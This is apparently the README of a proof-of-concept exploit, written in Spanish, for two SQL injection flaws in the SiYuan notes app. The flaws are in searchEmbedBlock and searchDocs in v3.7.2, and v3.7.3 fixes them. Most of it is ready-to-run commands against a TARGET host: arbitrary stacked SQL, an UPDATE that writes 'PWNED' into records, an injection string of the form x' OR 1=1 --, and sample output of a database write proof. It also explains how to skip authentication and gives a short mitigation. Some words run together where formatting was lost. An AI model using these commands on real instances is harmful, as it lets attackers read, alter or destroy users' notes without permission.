
CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3.
CVE-2026-69084: Ejecución Arbitraria de SQL vía /api/search/searchEmbedBlock
CVE-2026-69085: Inyección SQL vía /api/filetree/searchDocs
CVSS 9.9 (Crítico) cada uno · CWE-89 · SiYuan <= v3.7.2 (corregido en v3.7.3)
Publicado 2026-08-03 · sin PoC público en el momento de la publicación
SiYuan (aplicación de notas de código abierto, github.com/siyuan-note/siyuan) expone
dos endpoints de API que entregan SQL controlado por el atacante a su base de datos SQLite:
CVE-2026-69084 — /api/search/searchEmbedBlock:
El parámetro stmt se pasa textualmente al manejador principal de lectura-escritura
siyuan.db sin restricción de una sola sentencia o de solo lectura. El
controlador SQLite ejecuta sentencias apiladas (separadas por punto y coma), por lo que
un atacante puede / / / / cualquier cosa en
la base de datos. Protegido únicamente por — accesible con un
token RoleReader de publicación, o de forma anónima cuando el modo de publicación tiene
.
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
El parámetro keyword se concatena directamente en el SQL sin escape
ni vinculación de parámetros.
Ambos fueron corregidos en v3.7.3 mediante sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Sonda no destructiva (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. Prueba de escritura en BD: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Ejecutar SQL arbitrario (se admiten sentencias apiladas)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. SQLi en searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Si la instancia se ejecuta con el modo de publicación habilitado y la autenticación deshabilitada
(Publish.Auth.Enable=false), no se necesita --auth en absoluto.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL aceptado (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL aceptado (blocks: 0)
[+] PRUEBA DE ESCRITURA EN BD COMPLETADA — tabla pwn_69084 + fila 31337 en siyuan.db
# En el host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
v3.7.3 parcheada rechaza las mismas solicitudes:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT sigue funcionando (funcionalidad legítima preservada)El PoC en Python realiza un inicio de sesión de sesión (/api/system/loginAuth) para obtener
la cookie de autenticación, y luego envía POST al endpoint vulnerable. Probado contra
b3log/siyuan:v3.7.2 (vulnerable) y b3log/siyuan:v3.7.3 (parcheada).
Publish.Auth.Enable=true y
use tokens RoleReader seguros.Solo para pruebas de seguridad autorizadas y fines educativos.